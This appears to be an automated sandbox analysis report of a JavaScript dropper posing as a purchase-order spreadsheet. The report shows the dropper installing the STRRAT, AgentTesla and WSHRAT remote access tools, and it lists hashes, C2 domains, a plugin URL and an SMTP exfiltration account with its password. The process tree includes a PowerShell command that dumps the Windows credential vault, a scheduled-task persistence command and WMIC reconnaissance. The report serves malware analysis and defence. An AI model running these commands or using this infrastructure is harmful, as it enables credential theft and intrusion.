Analysis

  • max time kernel
    297s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-01-2025 00:00

General

  • Target

    PO#2500008_ Jan_2025.Xls.js

  • Size

    955KB

  • MD5

    46585cfdb357b9c32e0aed02376dea2c

  • SHA1

    3525ccecb41582261ba6401d34b56cfdb7ec0d1e

  • SHA256

    b7e9e72922bbafab57989a81d72e1dee75ae384bd975cce8a707417cc1df725a

  • SHA512

    52b9a853aec1268ed4304a3712a50a59d12ae4777eb5108920b7e8518ee6800449597d43a29fc73e33e4e3375c8a9fc99e55c7a47b54bed03aea7ef48e238929

  • SSDEEP

    6144:nj8EnXTkIEmXTSPAKujxQ2ZFnQsa45Z44HQ6YGhz00KY6RRs44lEhc6cgPEtcExS:nwmsGKcdssa474tYR0rGlfcEo

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.gmail.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    bizr usjt guapiims

Extracted

Family

strrat

C2

chongmei33.publicvm.com:44662

chongmei33.myddns.rocks:44662

Attributes
  • license_id

    khonsari

  • plugins_url

    http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5

  • scheduled_task

    true

  • secondary_startup

    true

  • startup

    true

Extracted

Family

agenttesla

Credentials

Extracted

Family

wshrat

C2

http://chongmei33.myddns.rocks:7044

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • STRRAT

    STRRAT is a remote access tool than can steal credentials and log keystrokes.

  • Strrat family
  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • Wshrat family
  • Blocklisted process makes network request 44 IoCs
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 44 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\PO#2500008_ Jan_2025.Xls.js"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5076
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe.js"
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Program Files\Java\jre-1.8\bin\javaw.exe
        "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\TZQ.jar"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3024
        • C:\Program Files\Java\jre-1.8\bin\java.exe
          "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\TZQ.jar"
          4⤵
          • Drops startup file
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:3540
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\TZQ.jar"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3116
            • C:\Windows\system32\schtasks.exe
              schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\TZQ.jar"
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1016
          • C:\Program Files\Java\jre-1.8\bin\java.exe
            "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\TZQ.jar"
            5⤵
            • Loads dropped DLL
            • Accesses Microsoft Outlook profiles
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            • outlook_win_path
            PID:1440
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3724
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3816
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1704
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3364
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1544
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list
                7⤵
                  PID:3432
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:940
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list
                  7⤵
                    PID:1964
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1916
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\word.js"
          2⤵
          • Checks computer location settings
          • Drops startup file
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:3352
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\word.js"
            3⤵
            • Blocklisted process makes network request
            • Checks computer location settings
            • Drops startup file
            • Adds Run key to start application
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:5092
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ADOBE.js"
              4⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:3996
              • C:\Users\Admin\AppData\Local\Temp\hAgO.exe
                "C:\Users\Admin\AppData\Local\Temp\hAgO.exe"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:1832

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Oracle\Java\.oracle_jre_usage\3903daac9bc4a3b7.timestamp

        Filesize

        46B

        MD5

        91f558f931146ea31c081a020c11e273

        SHA1

        2244619f9f5d674ce48f8c2622138d31ccc02a36

        SHA256

        8cc196987969d9a6ebd2fec9ae5592175dd155ee66a0cc291b4fcbe7c774871e

        SHA512

        7a1941a5efd9390d4ed7540d9915ea77a66016c9a36aeedbd74c417fed5111d48b3a8f2cd43a9c67d5ad888b0e7eb1d4029cf7719f5c337043756356af50822c

      • C:\Users\Admin\AppData\Local\Temp\TZQ.jar

        Filesize

        265KB

        MD5

        49b06e70255a9d233ee47e15d9a2e23b

        SHA1

        a4c33ef1c39d7715216c27dc93d417c3eb3ec39e

        SHA256

        db396f9ae63eab45892eed0964926126301abaec49d356765b8cd181572551e5

        SHA512

        1ae0d43afaffb6ea57c493f8ab77b5b5bb2a74203cc5e9c0cb6256443f5f4095eb927d7e2ef276c24c91f7aa370dfd6903bc152a791f7ce69c91061d0c805e84

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1mui34q.kng.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\adobe.js

        Filesize

        376KB

        MD5

        66557642aadcc9634d9fd1201d730ed7

        SHA1

        c0aeeaa215a04a1f87385dfa1395420969a40fa8

        SHA256

        6db12be58fe93da654afb1f98737e2e1fa05be9c3acce26413792cf30f9e482e

        SHA512

        820f7783339e77d6b2c3f308b0df3e56888216fee2d1aee099fb2e09dcbc4ec6926070976b8b948e56ab351c03052b34562ed406681f5cfe8aad92a8a90e66f3

      • C:\Users\Admin\AppData\Local\Temp\hAgO.exe

        Filesize

        243KB

        MD5

        d868c9dfdd377a1128f484a33c9d427d

        SHA1

        3cd816d84a5a06a669eb5cde82aa3eca272a6f13

        SHA256

        1f19267129cbabe2e50837f88eb2854c64521bd964f43a58f37365e60d5da5bd

        SHA512

        2702e2df330931d9fd2ed15e54aec37dbd68737cf3db642a8842cab813b9e3be67b7a5356d426772690b0b9e5c384931640d891f51662f870a9d3022eabce52b

      • C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna7710216679996053643.dll

        Filesize

        241KB

        MD5

        e02979ecd43bcc9061eb2b494ab5af50

        SHA1

        3122ac0e751660f646c73b10c4f79685aa65c545

        SHA256

        a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a

        SHA512

        1e6f7dcb6a557c9b896412a48dd017c16f7a52fa2b9ab513593c9ecd118e86083979821ca7a3e2f098ee349200c823c759cec6599740dd391cb5f354dc29b372

      • C:\Users\Admin\AppData\Local\Temp\sqlite-3.14.2.1-54d33411-99b7-428c-aeff-01f75a9eda32-sqlitejdbc.dll

        Filesize

        914KB

        MD5

        bcd42d2959eadc64dc225cf800ce3c90

        SHA1

        f19981d3c3987259edf9874aaccaaec21616b03d

        SHA256

        05a8557f5d197aca468f5272a2a869293cb11c2f0ab4839a17f144f9a5d0b77d

        SHA512

        428ba3a76543e726b58ea334b6ea9538c7230592cc29fa564fdb44fdb4e2998820514af70b10b80f77c8f1554f63e1a4822ef8db095191956652454d220bc167

      • C:\Users\Admin\AppData\Local\Temp\word.js

        Filesize

        305KB

        MD5

        7baf3694a88ff874e20a3d68a6c060d0

        SHA1

        fd9e22e3d52e0100dc963f776137cb6068e44825

        SHA256

        7693d4d8b365e1e7592dab1df24c67c133d0327a82cfab4f806f894b713b7847

        SHA512

        3ed74145253f5658ee8f253952dd0cbbf7f8f41cfe75a69f36bc954b3eb3a8c1b8bba66459ac3344214ac708aed16abe50be9899dd7b2ee3abc7bf89cc93c2a4

      • C:\Users\Admin\AppData\Roaming\ADOBE.js

        Filesize

        2.9MB

        MD5

        c5a75c079e9c637fd32aa7de749f2a05

        SHA1

        dd595b3f450bc19c74bc030128802addafaae125

        SHA256

        7f8e20b0f1db9bfca5af1baca595e3989fa2ea5b8a1663edd8d2065737ee3778

        SHA512

        04ae8922bbab87136e13650cc01466c02cf0086b4997140cdf73fbd36bd86c7ca8bc0e564ed36d60a2f86c844d205fa7502e2fd0d46c01ce01c27212412867bd

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\83aa4cc77f591dfc2374580bbd95f6ba_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7

        Filesize

        45B

        MD5

        c8366ae350e7019aefc9d1e6e6a498c6

        SHA1

        5731d8a3e6568a5f2dfbbc87e3db9637df280b61

        SHA256

        11e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238

        SHA512

        33c980d5a638bfc791de291ebf4b6d263b384247ab27f261a54025108f2f85374b579a026e545f81395736dd40fa4696f2163ca17640dd47f1c42bc9971b18cd

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\word.js

        Filesize

        305KB

        MD5

        7fb0513f512d3ce85e0a522b70877b05

        SHA1

        2dad603d84914851207b6606f0b993af85974a67

        SHA256

        56d134bbb1d29dceec71cbec8de83bb2ce5341b6c8a1e29373d85c7243af688f

        SHA512

        1539add7a96dfaf1d80fa87e621dfbd4927d6e68330b12f2e49dc70379adb6dc1285d137397f108e90dfa69621f42828996fe341a230de6ca48e7c9f420879f5

      • C:\Users\Admin\lib\jna-5.5.0.jar

        Filesize

        1.4MB

        MD5

        acfb5b5fd9ee10bf69497792fd469f85

        SHA1

        0e0845217c4907822403912ad6828d8e0b256208

        SHA256

        b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e

        SHA512

        e52575f58a195ceb3bd16b9740eadf5bc5b1d4d63c0734e8e5fd1d1776aa2d068d2e4c7173b83803f95f72c0a6759ae1c9b65773c734250d4cfcdf47a19f82aa

      • C:\Users\Admin\lib\jna-platform-5.5.0.jar

        Filesize

        2.6MB

        MD5

        2f4a99c2758e72ee2b59a73586a2322f

        SHA1

        af38e7c4d0fc73c23ecd785443705bfdee5b90bf

        SHA256

        24d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5

        SHA512

        b860459a0d3bf7ccb600a03aa1d2ac0358619ee89b2b96ed723541e182b6fdab53aefef7992acb4e03fca67aa47cbe3907b1e6060a60b57ed96c4e00c35c7494

      • C:\Users\Admin\lib\sqlite-jdbc-3.14.2.1.jar

        Filesize

        4.1MB

        MD5

        b33387e15ab150a7bf560abdc73c3bec

        SHA1

        66b8075784131f578ef893fd7674273f709b9a4c

        SHA256

        2eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491

        SHA512

        25cfb0d6ce35d0bcb18527d3aa12c63ecb2d9c1b8b78805d1306e516c13480b79bb0d74730aa93bd1752f9ac2da9fdd51781c48844cea2fd52a06c62852c8279

      • C:\Users\Admin\lib\system-hook-3.5.jar

        Filesize

        772KB

        MD5

        e1aa38a1e78a76a6de73efae136cdb3a

        SHA1

        c463da71871f780b2e2e5dba115d43953b537daf

        SHA256

        2ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609

        SHA512

        fee16fe9364926ec337e52f551fd62ed81984808a847de2fd68ff29b6c5da0dcc04ef6d8977f0fe675662a7d2ea1065cdcdd2a5259446226a7c7c5516bd7d60d

      • memory/1440-268-0x0000000061680000-0x000000006176D000-memory.dmp

        Filesize

        948KB

      • memory/1440-163-0x000001F617970000-0x000001F617971000-memory.dmp

        Filesize

        4KB

      • memory/1832-235-0x0000000006050000-0x00000000060EC000-memory.dmp

        Filesize

        624KB

      • memory/1832-234-0x0000000005F60000-0x0000000005FB0000-memory.dmp

        Filesize

        320KB

      • memory/1832-238-0x00000000067C0000-0x00000000067CA000-memory.dmp

        Filesize

        40KB

      • memory/1832-231-0x0000000000750000-0x0000000000794000-memory.dmp

        Filesize

        272KB

      • memory/1832-232-0x0000000005760000-0x0000000005D04000-memory.dmp

        Filesize

        5.6MB

      • memory/1832-233-0x00000000051B0000-0x0000000005216000-memory.dmp

        Filesize

        408KB

      • memory/1832-237-0x0000000006620000-0x00000000066B2000-memory.dmp

        Filesize

        584KB

      • memory/1916-250-0x000001A07E1F0000-0x000001A07E1F8000-memory.dmp

        Filesize

        32KB

      • memory/1916-241-0x000001A07E210000-0x000001A07E232000-memory.dmp

        Filesize

        136KB

      • memory/1916-249-0x000001A07E1E0000-0x000001A07E1EA000-memory.dmp

        Filesize

        40KB

      • memory/3024-70-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3024-73-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3024-56-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3024-77-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3024-90-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3024-96-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3024-54-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3024-36-0x000002119F200000-0x000002119F201000-memory.dmp

        Filesize

        4KB

      • memory/3540-130-0x000001A6DC800000-0x000001A6DC801000-memory.dmp

        Filesize

        4KB